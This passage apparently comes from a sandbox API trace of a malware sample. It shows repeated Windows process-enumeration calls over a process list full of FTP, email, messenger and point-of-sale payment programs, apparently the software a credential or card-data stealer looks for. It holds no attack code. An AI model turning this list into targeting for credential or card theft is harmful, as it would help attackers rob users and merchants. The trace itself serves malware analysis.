lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0286.689] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0286.692] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0286.694] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0286.696] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0286.698] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0286.700] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0286.703] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0286.705] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0286.707] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0286.709] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0286.712] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0286.714] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0286.716] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0286.719] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0286.721] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0286.773] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0286.776] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0286.779] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0286.782] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0286.786] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0286.789] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0286.792] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0286.795] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0286.797] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0286.800] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0286.803] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0286.806] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0286.808] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0286.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0286.814] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0286.881] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0286.883] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0286.886] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0286.889] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0286.891] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0286.894] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0286.896] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0286.899] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0286.901] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0286.904] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0286.906] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0286.908] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0286.911] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0286.913] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0286.916] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0286.918] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0286.921] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0286.923] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0287.021] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0287.025] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0287.027] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0287.029] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0287.032] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0287.034] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0287.037] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0287.039] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0287.041] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0287.045] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0287.047] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0287.050] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0287.052] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0287.054] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0287.056] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0287.058] CloseHandle (hObject=0x344) returned 1 [0287.059] Sleep (dwMilliseconds=0x64) [0287.113] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0287.129] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.131] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0287.133] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0287.135] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.138] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0287.140] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.142] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0287.144] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0287.146] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0287.148] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.150] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.194] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0287.197] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.199] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.201] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.203] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.206] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.208] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.210] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.212] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0287.214] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, 